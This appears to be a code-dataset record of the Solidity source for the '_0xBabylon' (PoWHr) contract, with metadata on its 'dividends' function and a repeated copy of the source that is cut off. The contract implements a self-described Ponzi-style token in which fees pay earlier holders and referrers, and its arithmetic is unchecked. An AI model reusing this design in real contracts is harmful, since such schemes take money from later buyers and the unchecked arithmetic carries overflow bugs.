customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = TOKEN_scaleDown(color_G[msg.sender] , amount); color_B[msg.sender] = TOKEN_scaleDown(color_B[msg.sender] , amount); totalBondSupply -= amount; // Remove the tokens from the balance of the buyer. holdings[msg.sender] -= amount; int256 payoutDiff = (int256) (earningsPerBond * amount);//we don't add in numETH because it is immedietly paid out. // We reduce the amount paid out to the seller (this effectively resets their payouts value to zero, // since they're selling all of their tokens). This makes sure the seller isn't disadvantaged if // they decide to buy back in. payouts[msg.sender] -= payoutDiff; // Decrease the total amount that's been paid out to maintain invariance. totalPayouts -= payoutDiff; // Check that we have tokens in existence (this is a bit of an irrelevant check since we're // selling tokens, but it guards against division by zero). if (totalBondSupply > 0) { // Scale the Ether taken as the selling fee by the scaleFactor variable. uint256 etherFee = fee * scaleFactor; // Fee is distributed to all remaining token holders. // rewardPerShare is the amount gained per token thanks to this sell. uint256 rewardPerShare = etherFee / totalBondSupply; // The Ether value per token is increased proportionally. earningsPerBond += rewardPerShare; } fullCycleSellBonds(numEthers); trickleSum += trickle; trickleUp(msg.sender); emit onTokenSell(msg.sender,holdings[msg.sender]+amount,amount,numEthers,resolved,reff[msg.sender]); } // Converts the Ether accrued as dividends back into Staking tokens without having to // withdraw it first. Saves on gas and potential price spike loss. function processReinvest(address forWho,uint256 cR,uint256 cG,uint256 cB) internal{ // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); // Update the payouts array, incrementing the request address by `balance`. // Since this is essentially a shortcut to withdrawing and reinvesting, this step still holds. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); // Assign balance to a new variable. uint256 pocketETH = pocket[msg.sender]; uint value_ = (uint) (balance + pocketETH); pocket[msg.sender] = 0; // If your dividends are worth less than 1 szabo, or more than a million Ether // (in which case, why are you even here), abort. if (value_ < 0.000001 ether || value_ > 1000000 ether) revert(); uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(value_, true,false );// reinvestment fees are lower than regular ones. trickle = fee/ trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } // A temporary reserve variable used for calculating the reward the holder gets for buying tokens. // (Yes, the buyer receives a part of the distribution as well!) uint256 res = reserve() - balance; // The amount of Ether used to purchase new tokens for the caller. uint256 numEther = value_ - (fee+trickle); // The number of tokens which can be purchased for numEther. uint256 numTokens = calculateDividendTokens(numEther, balance); buyCalcAndPayout( forWho, fee, numTokens, numEther, res ); addPigment(forWho, numTokens,cR,cG,cB); if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff, then reset it address reffOfWho = reff[forWho]; if(reffOfWho == 0x0000000000000000000000000000000000000000 || (holdings[reffOfWho] < stakingRequirement) ) reff[forWho] = msg.sender; emit onReinvestFor(msg.sender,forWho,numEther,numTokens,reff[forWho]); }else{ emit onReinvestment(forWho,numEther,numTokens,reff[forWho]); } trickleUp(forWho); trickleSum += trickle - pocketETH; } function addPigment(address forWho, uint256 tokens,uint256 r,uint256 g,uint256 b) internal{ color_R[forWho] += tokens * r / 255; color_G[forWho] += tokens * g / 255; color_B[forWho] += tokens * b / 255; emit onColor(forWho,r,g,b,color_R[forWho] ,color_G[forWho] ,color_B[forWho] ); } // Dynamic value of Ether in reserve, according to the CRR requirement. function reserve() internal constant returns (uint256 amount){ return contractBalance()-((uint256) ((int256) (earningsPerBond * totalBondSupply) - totalPayouts ) / scaleFactor); } // Calculates the number of tokens that can be bought for a given amount of Ether, according to the // dynamic reserve and totalSupply values (derived from the buy and sell prices). function getTokensForEther(uint256 ethervalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply ; } // Semantically similar to getTokensForEther, but subtracts the callers balance from the amount of Ether returned for conversion. function calculateDividendTokens(uint256 ethervalue, uint256 subvalue) public constant returns (uint256 tokens) { return fixedExp(fixedLog(reserve() - subvalue + ethervalue)*crr_n/crr_d + price_coeff) - totalBondSupply; } // Converts a number tokens into an Ether value. function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) { // How much reserve Ether do we have left in the contract? uint256 reserveAmount = reserve(); // If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault. if (tokens == totalBondSupply ) return reserveAmount; // If there would be excess Ether left after the transaction this is called within, return the Ether // corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found // at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator // and denominator altered to 1 and 2 respectively. return reserveAmount - fixedExp((fixedLog(totalBondSupply - tokens) - price_coeff) * crr_d/crr_n); } function () payable public { if (msg.value > 0) { fund(lastGateway,msg.sender); } else { withdraw(msg.sender); } } address public resolver = this; uint256 public totalSupply; uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name = "0xBabylon"; uint8 public decimals = 18; string public symbol = "PoWHr"; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Resolved(address indexed _owner, uint256 amount); function mint(uint256 amount,address _account) internal returns (uint minted){ totalSupply += amount; balances[_account] += amount; emit Resolved(_account,amount); return amount; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function calcResolve(address _owner,uint256 amount,uint256 _eth) public constant returns (uint256 calculatedResolveTokens) { return amount*amount*avgFactor_ethSpent[_owner]/holdings[_owner]/_eth/1000000; } function transfer(address _to, uint256 _value) public returns (bool success) { require( balanceOf(msg.sender) >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){ uint256 allowance = allowed[_from][msg.sender]; require( balanceOf(_from) >= _value && allowance >= _value ); balances[_to] += _value; balances[_from] -= _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function resolveSupply() public view returns (uint256 balance) { return totalSupply; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } // You don't care about these, but if you really do they're hex values for // co-efficients used to simulate approximations of the log and exp functions. int256 constant one = 0x10000000000000000; uint256 constant sqrt2 = 0x16a09e667f3bcc908; uint256 constant sqrtdot5 = 0x0b504f333f9de6484; int256 constant ln2 = 0x0b17217f7d1cf79ac; int256 constant ln2_64dot5 = 0x2cb53f09f05cc627c8; int256 constant c1 = 0x1ffffffffff9dac9b; int256 constant c3 = 0x0aaaaaaac16877908; int256 constant c5 = 0x0666664e5e9fa0c99; int256 constant c7 = 0x049254026a7630acf; int256 constant c9 = 0x038bd75ed37753d68; int256 constant c11 = 0x03284a0c14610924f; // The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11 // approximates the function log(1+x)-log(1-x) // Hence R(s) = log((1+s)/(1-s)) = log(a) function fixedLog(uint256 a) internal pure returns (int256 log) { int32 scale = 0; while (a > sqrt2) { a /= 2; scale++; } while (a <= sqrtdot5) { a *= 2; scale--; } int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one); int256 z = (s*s) / one; return scale * ln2 + (s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one)) /one))/one))/one))/one))/one); } int256 constant c2 = 0x02aaaaaaaaa015db0; int256 constant c4 = -0x000b60b60808399d1; int256 constant c6 = 0x0000455956bccdd06; int256 constant c8 = -0x000001b893ad04b3a; // The polynomial R = 2 + c2*x^2 + c4*x^4 + ... // approximates the function x*(exp(x)+1)/(exp(x)-1) // Hence exp(x) = (R(x)+x)/(R(x)-x) function fixedExp(int256 a) internal pure returns (uint256 exp) { int256 scale = (a + (ln2_64dot5)) / ln2 - 64; a -= scale*ln2; int256 z = (a*a) / one; int256 R = ((int256)(2) * one) + (z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one); exp = (uint256) (((R + a) * one) / (R - a)); if (scale >= 0) exp <<= scale; else exp >>= -scale; return exp; } }
dividends
function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; }
// Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out.
LineComment
v0.4.23+commit.124ca40d
bzzr://7198588a41e5647c95e24bfcadd4c4b44b6158c86b361679b761c040298da277
{ "func_code_index": [ 9455, 9641 ] }
1,483
_0xBabylon
_0xBabylon.sol
0x19080df0360ce52b1068d54e1769182d9cc2b218
Solidity
_0xBabylon
contract _0xBabylon{ // scaleFactor is used to convert Ether into tokens and vice-versa: they're of different // orders of magnitude, hence the need to bridge between the two. uint256 constant scaleFactor = 0x10000000000000000;// 2^64 int constant crr_n = 3;//CRR numerator int constant crr_d = 5;//CRR denominator uint256 constant fee_premine = 30;//Fee Premine. So that the first buyer isn't a black hole int constant price_coeff = 0x44fa9cf152cd34a98; // Array between each address and their number of tokens. mapping(address => uint256) public holdings; //cut down by a percentage when you sell out. mapping(address => uint256) public avgFactor_ethSpent; mapping(address => uint256) public color_R; mapping(address => uint256) public color_G; mapping(address => uint256) public color_B; // Array between each address and how much Ether has been paid out to it. // Note that this is scaled by the scaleFactor variable. mapping(address => address) public reff; mapping(address => uint256) public tricklingPass; mapping(address => uint256) public pocket; mapping(address => int256) public payouts; // Variable tracking how many tokens are in existence overall. uint256 public totalBondSupply; // Aggregate sum of all payouts. // Note that this is scaled by the scaleFactor variable. int256 totalPayouts; uint256 public trickleSum; uint256 public stakingRequirement = 1e18; address public lastGateway; uint256 constant trickTax = 3; //divides flux'd fee and for every pass up //flux fee ratio and contract score keepers uint256 public withdrawSum; uint256 public investSum; // Variable tracking how much Ether each token is currently worth. // Note that this is scaled by the scaleFactor variable. uint256 earningsPerBond; event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onBoughtFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onReinvestFor( address indexed buyerAddress, address indexed forWho, uint256 incomingEthereum, uint256 tokensMinted, address indexed gateway ); event onTokenSell( address indexed customerAddress, uint256 totalTokensAtTheTime,//maybe it'd be cool to see what % people are selling from their total bank uint256 tokensBurned, uint256 ethereumEarned, uint256 resolved, address indexed gateway ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted, address indexed gateway ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event onCashDividends( address indexed ownerAddress, address indexed receiverAddress, uint256 ethereumWithdrawn ); event onColor( address indexed customerAddress, uint256 oldR, uint256 oldG, uint256 oldB, uint256 newR, uint256 newG, uint256 newB ); event onTrickle( address indexed fromWho, address indexed finalReff, uint256 reward, uint256 passUp ); // The following functions are used by the front-end for display purposes. // Returns the number of tokens currently held by _owner. function holdingsOf(address _owner) public constant returns (uint256 balance) { return holdings[_owner]; } // Withdraws all dividends held by the caller sending the transaction, updates // the requisite global variables, and transfers Ether back to the caller. function withdraw(address to) public { if(to == 0x0000000000000000000000000000000000000000 ){ to = msg.sender; } trickleUp(msg.sender); // Retrieve the dividends associated with the address the request came from. uint256 balance = dividends(msg.sender); //uint256 pocketBalance = tricklePocket[msg.sender]; //tricklePocket[msg.sender] = 0; // Update the payouts array, incrementing the request address by `balance`. payouts[msg.sender] += (int256) (balance * scaleFactor); // Increase the total amount that's been paid out to maintain invariance. totalPayouts += (int256) (balance * scaleFactor); uint256 pocketETH = pocket[msg.sender]; pocket[msg.sender] = 0; trickleSum -= pocketETH; balance += pocketETH; // Send the dividends to the address that requested the withdraw. withdrawSum += balance; to.transfer(balance); emit onCashDividends(msg.sender,to,balance); } function fullCycleSellBonds(uint256 balance) internal { // Send the cashed out stake to the address that requested the withdraw. withdrawSum += balance; msg.sender.transfer(balance); emit onWithdraw(msg.sender, balance); } // Sells your tokens for Ether. This Ether is assigned to the callers entry // in the tokenBalance array, and therefore is shown as a dividend. A second // call to withdraw() must be made to invoke the transfer of Ether back to your address. function sellBonds(uint256 _amount) public { uint256 bondBalance = holdings[msg.sender]; if(_amount <= bondBalance && _amount > 0){ sell(_amount); }else{ sell(bondBalance); } } // The slam-the-button escape hatch. Sells the callers tokens for Ether, then immediately // invokes the withdraw() function, sending the resulting Ether to the callers address. function getMeOutOfHere() public { sellBonds( holdings[msg.sender] ); withdraw(msg.sender); } function reffUp(address _reff) internal{ address sender = msg.sender; if (_reff == 0x0000000000000000000000000000000000000000 || _reff == msg.sender){ _reff = reff[sender]; } if( holdings[_reff] < stakingRequirement ){//if req not met if(lastGateway == 0x0000000000000000000000000000000000000000){ lastGateway = sender;//first buyer ever _reff = sender;//first buyer is their own gateway/masternode //initialize fee pre-mine investSum = msg.value * fee_premine; withdrawSum = msg.value * fee_premine; } else _reff = lastGateway;//the lucky last player gets to be the gate way. } reff[sender] = _reff; } function rgbLimit(uint256 _rgb)internal pure returns(uint256){ if(_rgb > 255) return 255; else return _rgb; } //BONUS //when you don't pick a color, the contract will need a default. which will be your current color function edgePigment(uint8 C)internal view returns (uint256 x) { uint256 holding = holdings[msg.sender]; if(holding==0) return 0; else{ if(C==0){ return 255 * color_R[msg.sender]/holding; }else if(C==1){ return 255 * color_G[msg.sender]/holding; }else if(C==2){ return 255 * color_B[msg.sender]/holding; } } } function fund(address reffo, address forWho) payable public { fund_color( reffo, forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } function fund_color( address _reff, address forWho,uint256 cR,uint256 cG,uint256 cB) payable public { // Don't allow for funding if the amount of Ether sent is less than 1 szabo. reffUp(_reff); if (msg.value > 0.000001 ether){ investSum += msg.value; cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); buy( forWho ,cR,cG,cB); lastGateway = msg.sender; } else { revert(); } } function reinvest_color(address forWho,uint256 cR,uint256 cG,uint256 cB) public { cR=rgbLimit(cR); cG=rgbLimit(cG); cB=rgbLimit(cB); processReinvest( forWho, cR,cG,cB); } function reinvest(address forWho) public { processReinvest( forWho, edgePigment(0),edgePigment(1),edgePigment(2) ); } // Function that returns the (dynamic) price of a single token. function price(bool buyOrSell) public constant returns (uint) { if(buyOrSell){ return getTokensForEther(1 finney); }else{ uint256 eth = getEtherForTokens(1 finney); uint256 fee = fluxFeed(eth, false, false); return eth - fee; } } function fluxFeed(uint256 _eth, bool slim_reinvest,bool newETH) public constant returns (uint256 amount) { uint256 finalInvestSum; if(newETH) finalInvestSum = investSum-_eth;//bigger buy bonus else finalInvestSum = investSum; uint256 contract_ETH = finalInvestSum - withdrawSum; if(slim_reinvest){//trickleSum can never be 0, trust me return _eth/(contract_ETH/trickleSum) * contract_ETH /investSum; }else{ return _eth * contract_ETH / investSum; } /* Fee 100eth IN & 100eth OUT = 0% tax fee (returning 1) 100eth IN & 50eth OUT = 50% tax fee (returning 2) 100eth IN & 33eth OUT = 66% tax fee (returning 3) 100eth IN & 25eth OUT = 75% tax fee (returning 4) 100eth IN & 10eth OUT = 90% tax fee (returning 10) */ } // Calculate the current dividends associated with the caller address. This is the net result // of multiplying the number of tokens held by their current value in Ether and subtracting the // Ether that has already been paid out. function dividends(address _owner) public constant returns (uint256 amount) { return (uint256) ((int256)( earningsPerBond * holdings[_owner] ) - payouts[_owner] ) / scaleFactor; } // Internal balance function, used to calculate the dynamic reserve value. function contractBalance() internal constant returns (uint256 amount){ // msg.value is the amount of Ether sent by the transaction. return investSum - withdrawSum - msg.value - trickleSum; } function trickleUp(address fromWho) internal{//you can trickle up other people by giving them some. uint256 tricks = tricklingPass[ fromWho ];//this is the amount moving in the trickle flo if(tricks > 0){ tricklingPass[ fromWho ] = 0;//we've already captured the amount so set your tricklingPass flo to 0 uint256 passUp = tricks * (investSum - withdrawSum)/investSum;//to get the amount we're gonna pass up. divide by trickTax uint256 reward = tricks-passUp;//and our remaining reward for ourselves is the amount we just slice off subtracted from the flo address finalReff;//we're not exactly sure who we're gonna pass this up to yet address reffo = reff[ fromWho ];//this is who it should go up to. if everything is legit if( holdings[reffo] >= stakingRequirement){ finalReff = reffo;//if that address is holding enough to stake, it's a legit node to flo up to. }else{ finalReff = lastGateway;//if not, then we use the last buyer } tricklingPass[ finalReff ] += passUp;//so now we add that flo you've passed up to the tricklingPass of the final Reff pocket[ finalReff ] += reward;// Reward emit onTrickle(fromWho, finalReff, reward, passUp); } } function buy(address forWho,uint256 cR,uint256 cG,uint256 cB) internal { // Any transaction of less than 1 szabo is likely to be worth less than the gas used to send it. if (msg.value < 0.000001 ether || msg.value > 1000000 ether) revert(); //Fee to pay existing holders, and the referral commission uint256 fee = 0; uint256 trickle = 0; if(holdings[forWho] != totalBondSupply){ fee = fluxFeed(msg.value,false,true); trickle = fee/trickTax; fee = fee - trickle; tricklingPass[forWho] += trickle; } uint256 numEther = msg.value - (fee+trickle);// The amount of Ether used to purchase new tokens for the caller. uint256 numTokens = 0; if(numEther > 0){ numTokens = getTokensForEther(numEther);// The number of tokens which can be purchased for numEther. buyCalcAndPayout( forWho, fee, numTokens, numEther, reserve() ); addPigment(forWho, numTokens,cR,cG,cB); } if(forWho != msg.sender){//make sure you're not yourself //if forWho doesn't have a reff or if that masternode is weak, then reset it if(reff[forWho] == 0x0000000000000000000000000000000000000000 || (holdings[reff[forWho]] < stakingRequirement) ) reff[forWho] = msg.sender; emit onBoughtFor(msg.sender, forWho, numEther, numTokens, reff[forWho] ); }else{ emit onTokenPurchase(forWho, numEther ,numTokens , reff[forWho] ); } trickleSum += trickle;//add to trickle's Sum after reserve calculations trickleUp(forWho); } function buyCalcAndPayout(address forWho,uint256 fee,uint256 numTokens,uint256 numEther,uint256 res)internal{ // The buyer fee, scaled by the scaleFactor variable. uint256 buyerFee = fee * scaleFactor; if (totalBondSupply > 0){// because ... // Compute the bonus co-efficient for all existing holders and the buyer. // The buyer receives part of the distribution for each token bought in the // same way they would have if they bought each token individually. uint256 bonusCoEff = (scaleFactor - (res + numEther) * numTokens * scaleFactor / ( totalBondSupply + numTokens) / numEther) *(uint)(crr_d) / (uint)(crr_d-crr_n); // The total reward to be distributed amongst the masses is the fee (in Ether) // multiplied by the bonus co-efficient. uint256 holderReward = fee * bonusCoEff; buyerFee -= holderReward; // The Ether value per token is increased proportionally. earningsPerBond += holderReward / totalBondSupply; } //resolve reward tracking stuff avgFactor_ethSpent[forWho] += numEther; // Add the numTokens which were just created to the total supply. We're a crypto central bank! totalBondSupply += numTokens; // Assign the tokens to the balance of the buyer. holdings[forWho] += numTokens; // Update the payout array so that the buyer cannot claim dividends on previous purchases. // Also include the fee paid for entering the scheme. // First we compute how much was just paid out to the buyer... int256 payoutDiff = (int256) ((earningsPerBond * numTokens) - buyerFee); // Then we update the payouts array for the buyer with this amount... payouts[forWho] += payoutDiff; // And then we finally add it to the variable tracking the total amount spent to maintain invariance. totalPayouts += payoutDiff; } // Sell function that takes tokens and converts them into Ether. Also comes with a 10% fee // to discouraging dumping, and means that if someone near the top sells, the fee distributed // will be *significant*. function TOKEN_scaleDown(uint256 value,uint256 reduce) internal view returns(uint256 x){ uint256 holdingsOfSender = holdings[msg.sender]; return value * ( holdingsOfSender - reduce) / holdingsOfSender; } function sell(uint256 amount) internal { uint256 numEthersBeforeFee = getEtherForTokens(amount); // x% of the resulting Ether is used to pay remaining holders. uint256 fee = 0; uint256 trickle = 0; if(totalBondSupply != holdings[msg.sender]){ fee = fluxFeed(numEthersBeforeFee, false,false); trickle = fee/ trickTax; fee -= trickle; tricklingPass[msg.sender] +=trickle; } // Net Ether for the seller after the fee has been subtracted. uint256 numEthers = numEthersBeforeFee - (fee+trickle); //How much you bought it for divided by how much you're getting back. //This means that if you get dumped on, you can get more resolve tokens if you sell out. uint256 resolved = mint( calcResolve(msg.sender,amount,numEthersBeforeFee), msg.sender ); // *Remove* the numTokens which were just sold from the total supply. avgFactor_ethSpent[msg.sender] = TOKEN_scaleDown(avgFactor_ethSpent[msg.sender] , amount); color_R[msg.sender] = TOKEN_scaleDown(color_R[msg.sender] , amount); color_G[msg.sender] = 